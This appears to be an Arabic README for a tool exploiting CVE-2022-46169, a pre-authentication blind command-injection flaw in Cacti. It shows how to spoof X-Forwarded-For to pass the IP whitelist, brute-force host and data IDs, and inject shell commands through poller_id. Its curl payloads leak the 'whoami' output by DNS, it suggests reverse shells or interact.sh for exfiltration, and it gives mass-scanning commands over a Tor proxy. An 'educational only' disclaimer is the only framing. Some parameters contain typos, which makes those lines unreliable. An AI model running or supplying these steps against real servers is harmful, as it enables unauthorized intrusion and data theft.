
CVE-2022-46169 - Cacti تنفيذ التعليمات البرمجية عن بُعد الأعمى (قبل المصادقة)
Cacti تنفيذ التعليمات البرمجية عن بُعد العمياء (قبل المصادقة)
هذا للأغراض التعليمية فقط. لست مسؤولاً عن أفعالك. استخدمه على مسؤوليتك الخاصة.
يقوم هذا البرنامج النصي بتجربة القيم بالقوة الغاشمة للمتغيرات المطلوبة لاستغلال هذه الثغرة. يتطلب هذا الاستغلال المتغيرات الثلاثة التالية:
host_id الصحيحlocal_data_ids الصحيحالملف remote_agent.php محمي بقائمة بيضاء لعناوين IP. يمكنك تجاوز ذلك بانتحال عنوان IP الخاص بك في ترويسة X-Forwarded-IP. معظم النسخ ستكون لديها 127.0.0.1 أو عنوان IP الخاص بالخادم في القائمة البيضاء.
بعد ذلك، تحتاج إلى تجربة القيم بالقوة الغاشمة لمعاملات الطلب host_id و local_data_ids. يتم ذلك عن طريق تعداد أزواج الأعداد الصحيحة من قيمة أدنى افتراضية تساوي 1 وقيمة أعلى تساوي 10.
x,yمثال على طلب
pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"
[]
بعد الحصول على هذه المتغيرات الثلاثة، يمكنك حقن أمر شيل في المفتاح poller_id وإفلاته بوضع ; قبل الأمر.
هذا تنفيذ أوامر عن بُعد أعمى، لذا تحتاج إلى إرسال مخرجات الأمر إلى مكان مثل interact.sh أو فتح شيل عكسي. تذكر ترميز قيمة poller_id بتشفير URL!
ينفذ التالي الأمر ping $(whoami).test.com
curl -k -H "X-Forwarded-For: 127.0.0.01" \
"https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"
يخرج البرنامج النصي بتنسيق CSV. الرؤوس هي "target", "ip", "host_id", "data_id", "url".
إذا كانت قيمة url مفقودة، فهذا يعني أن البرنامج النصي تمكن من تجاوز تقييد IP لكنه لم يتمكن من تجربة القيم بنجاح للمعرفات. يمكنك أخذ هذا المخرجات وتعيين قيمة أعلى قصوى للمحاولة مرة أخرى.
يمكنك استخدام الأوامر التالية لتحليل ملف المخرجات بسرعة
tail -n +2 results.csv | cut -d ',' -f1 | sort -u
tail -n +2 results.csv | cut -d ',' -f5 | sort -u
go build -v -o bruteforce bruteforce.go
./bruteforce -l targets.txt -t 50 -min 1 -max 10
-proxy socks5://127.0.0.1:9050results.csv